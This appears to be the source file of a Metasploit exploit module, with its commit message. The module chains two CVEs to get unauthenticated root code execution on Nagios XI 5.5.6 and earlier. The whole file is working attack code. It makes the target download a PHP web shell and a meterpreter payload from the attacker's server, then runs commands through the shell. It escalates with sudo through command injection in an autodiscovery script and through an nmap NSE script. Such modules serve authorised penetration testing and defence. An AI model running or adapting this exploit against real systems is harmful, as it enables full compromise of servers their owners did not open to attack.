e30d8db082
Resolve Rubocop violations Fix off-by-one in array index triggered when no file upload succeeds Fix cleanup: ensure files are removed when upload succeeds but execution fails Add AutoCheck Add module notes Add error handling and associated operator feedback Add additional writable paths required for some old Nagios versions Add fallback to session as `apache` if privlege escalation fails Update documentation in line with above changes and fix software download links
247 lines
7.7 KiB
Ruby
247 lines
7.7 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
|
Rank = ExcellentRanking
|
|
|
|
include Msf::Exploit::EXE
|
|
include Msf::Exploit::FileDropper
|
|
include Msf::Exploit::Remote::HttpClient
|
|
include Msf::Exploit::Remote::HttpServer::HTML
|
|
prepend Msf::Exploit::Remote::AutoCheck
|
|
|
|
def initialize(info = {})
|
|
super(
|
|
update_info(
|
|
info,
|
|
'Name' => 'Nagios XI Magpie_debug.php Root Remote Code Execution',
|
|
'Description' => %q{
|
|
This module exploits two vulnerabilities in Nagios XI <= 5.5.6:
|
|
CVE-2018-15708 which allows for unauthenticated remote code execution
|
|
and CVE-2018-15710 which allows for local privilege escalation.
|
|
When combined, these two vulnerabilities allow execution of arbitrary
|
|
commands as root.
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' =>
|
|
[
|
|
'Chris Lyne (@lynerc)', # Discovery and exploit
|
|
'Guillaume André (@yaumn_)', # Metasploit module
|
|
'bcoles', # Additional writable paths and usability/reliability/cleanup fixes
|
|
],
|
|
'References' =>
|
|
[
|
|
['CVE', '2018-15708'],
|
|
['CVE', '2018-15710'],
|
|
['EDB', '46221'],
|
|
['URL', 'https://medium.com/tenable-techblog/rooting-nagios-via-outdated-libraries-bb79427172'],
|
|
['URL', 'https://www.tenable.com/security/research/tra-2018-37']
|
|
],
|
|
'Platform' => 'linux',
|
|
'Arch' => [ARCH_X86, ARCH_X64],
|
|
'Targets' =>
|
|
[
|
|
['Nagios XI <= 5.5.6', { version: Gem::Version.new('5.5.6') }]
|
|
],
|
|
'DefaultOptions' =>
|
|
{
|
|
'RPORT' => 443,
|
|
'SSL' => true
|
|
},
|
|
'Privileged' => true,
|
|
'DisclosureDate' => '2018-11-14',
|
|
'DefaultTarget' => 0,
|
|
'Notes' =>
|
|
{
|
|
'Stability' => [ CRASH_SAFE ],
|
|
'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ],
|
|
'Reliability' => [ REPEATABLE_SESSION ]
|
|
}
|
|
)
|
|
)
|
|
|
|
register_options([
|
|
OptString.new('RSRVHOST', [true, 'A public IP at which your host can be reached (e.g. your router IP)']),
|
|
OptString.new('RSRVPORT', [true, 'The port that will forward to the local HTTPS server', 8080]),
|
|
OptInt.new('HTTPDELAY', [false, 'Number of seconds the web server will wait before termination', 10])
|
|
])
|
|
|
|
@WRITABLE_PATHS = [
|
|
# writable as 'apache' user
|
|
['/usr/local/nagvis/share', '/nagvis'],
|
|
# writable as 'apache' user
|
|
['/var/www/html/nagiosql', '/nagiosql'],
|
|
# writable as 'nagios' group
|
|
['/usr/local/nagiosxi/html/includes/components/autodiscovery/jobs', '/nagiosxi/includes/components/autodiscovery/jobs'],
|
|
# writable as 'nagios' group
|
|
['/usr/local/nagiosxi/html/includes/components/highcharts/exporting-server/temp', '/nagiosxi/includes/components/highcharts/exporting-server/temp'],
|
|
]
|
|
@writable_path_index = 0
|
|
@webshell_name = "#{Rex::Text.rand_text_alpha(10..12)}.php"
|
|
@meterpreter_name = Rex::Text.rand_text_alpha(10..12)
|
|
end
|
|
|
|
def on_request_uri(cli, _req)
|
|
if @current_payload == @webshell_name
|
|
send_response(cli, "<?php system($_GET['cmd'])?>")
|
|
else
|
|
send_response(cli, generate_payload_exe)
|
|
end
|
|
end
|
|
|
|
def primer
|
|
path = "#{@WRITABLE_PATHS[@writable_path_index][0]}/#{@current_payload}"
|
|
print_status("Uploading to #{path} ...")
|
|
res = magpie_debug("https://#{datastore['RSRVHOST']}:#{datastore['RSRVPORT']}#{get_resource} -o '#{path}'")
|
|
|
|
unless res
|
|
print_error("Could not upload #{@current_payload} to target. No reply.")
|
|
return false
|
|
end
|
|
|
|
unless res.code == 200
|
|
print_error("Could not upload #{@current_payload} to target. Unexpected reply (HTTP #{res.code}).")
|
|
return false
|
|
end
|
|
|
|
if res.body.include?('Error: MagpieRSS: Failed to fetch')
|
|
print_error("Could not upload #{@current_payload} to target. cURL failed to download the file from our server.")
|
|
return false
|
|
end
|
|
|
|
register_file_for_cleanup(path)
|
|
end
|
|
|
|
def upload_success?
|
|
res = send_request_cgi(
|
|
{
|
|
'method' => 'GET',
|
|
'uri' => normalize_uri("#{@WRITABLE_PATHS[@writable_path_index][1]}/#{@current_payload}")
|
|
}, 5
|
|
)
|
|
|
|
unless res
|
|
print_error("Could not access #{@current_payload}. No reply.")
|
|
return false
|
|
end
|
|
|
|
unless res.code == 200
|
|
print_error("Could not access #{@current_payload}. Unexpected reply (HTTP #{res.code}).")
|
|
return false
|
|
end
|
|
|
|
print_good("#{@current_payload} uploaded successfully!")
|
|
true
|
|
end
|
|
|
|
def magpie_debug(url = '')
|
|
send_request_cgi(
|
|
{
|
|
'method' => 'GET',
|
|
'uri' => normalize_uri('/nagiosxi/includes/dashlets/rss_dashlet/magpierss/scripts/magpie_debug.php'),
|
|
'vars_get' => {
|
|
'url' => url
|
|
}
|
|
}, 5
|
|
)
|
|
end
|
|
|
|
def check
|
|
res = magpie_debug
|
|
|
|
unless res
|
|
return CheckCode::Safe('No reply.')
|
|
end
|
|
|
|
if res.code == 200 && res.body.include?('MagpieRSS')
|
|
return CheckCode::Appears('Found MagpieRSS.')
|
|
end
|
|
|
|
CheckCode::Safe
|
|
end
|
|
|
|
def execute_command(cmd, _opts = {})
|
|
send_request_cgi(
|
|
{
|
|
'uri' => normalize_uri("#{@WRITABLE_PATHS[@writable_path_index][1]}/#{@webshell_name}"),
|
|
'method' => 'GET',
|
|
'vars_get' => {
|
|
'cmd' => cmd
|
|
}
|
|
}, 5
|
|
)
|
|
end
|
|
|
|
def exploit
|
|
all_files_uploaded = false
|
|
|
|
# Upload PHP web shell and meterpreter to writable directory on target
|
|
for i in 0...@WRITABLE_PATHS.size
|
|
@writable_path_index = i
|
|
for filename in [@webshell_name, @meterpreter_name]
|
|
@current_payload = filename
|
|
begin
|
|
Timeout.timeout(datastore['HTTPDELAY']) { super }
|
|
rescue Timeout::Error
|
|
if !upload_success?
|
|
break
|
|
elsif filename == @meterpreter_name
|
|
all_files_uploaded = true
|
|
end
|
|
end
|
|
end
|
|
if all_files_uploaded
|
|
break
|
|
end
|
|
end
|
|
|
|
unless all_files_uploaded
|
|
fail_with(Failure::NotVulnerable, 'Uploading payload failed')
|
|
end
|
|
|
|
meterpreter_path = "#{@WRITABLE_PATHS[@writable_path_index][0]}/#{@meterpreter_name}"
|
|
|
|
print_status("Checking PHP web shell: #{@WRITABLE_PATHS[@writable_path_index][1]}/#{@webshell_name}")
|
|
|
|
res = execute_command('id')
|
|
unless res && res.body.include?('uid=')
|
|
fail_with(Failure::UnexpectedReply, 'PHP web shell did not execute our commands')
|
|
end
|
|
|
|
id = res.body.scan(/^(uid=.+)$/).flatten.first
|
|
if id.blank?
|
|
fail_with(Failure::UnexpectedReply, 'PHP web shell did not execute our commands')
|
|
end
|
|
print_good("Success! Commands executed as user: #{id}")
|
|
|
|
print_status('Attempting privilege escalation ...')
|
|
|
|
nse_path = "/var/tmp/#{Rex::Text.rand_text_alpha(10..12)}.nse"
|
|
register_file_for_cleanup(nse_path)
|
|
|
|
# Commands to escalate privileges, some will work and others won't
|
|
# depending on the Nagios version
|
|
cmds = [
|
|
"chmod +x #{meterpreter_path} && sudo php /usr/local/nagiosxi/html/includes/" \
|
|
"components/autodiscovery/scripts/autodiscover_new.php --addresses=\'127.0.0.1/1`#{meterpreter_path}`\'",
|
|
"echo 'os.execute(\"#{meterpreter_path}\")' > #{nse_path} " \
|
|
"&& sudo nmap --script #{nse_path}"
|
|
]
|
|
|
|
# Try to launch root shell
|
|
for cmd in cmds
|
|
vprint_status("Trying: #{cmd}")
|
|
execute_command(cmd)
|
|
break if session_created?
|
|
end
|
|
|
|
unless session_created?
|
|
print_error('Privilege escalation failed')
|
|
print_status("Executing payload as #{id} ...")
|
|
execute_command("chmod +x #{meterpreter_path} && #{meterpreter_path}")
|
|
end
|
|
end
|
|
end
|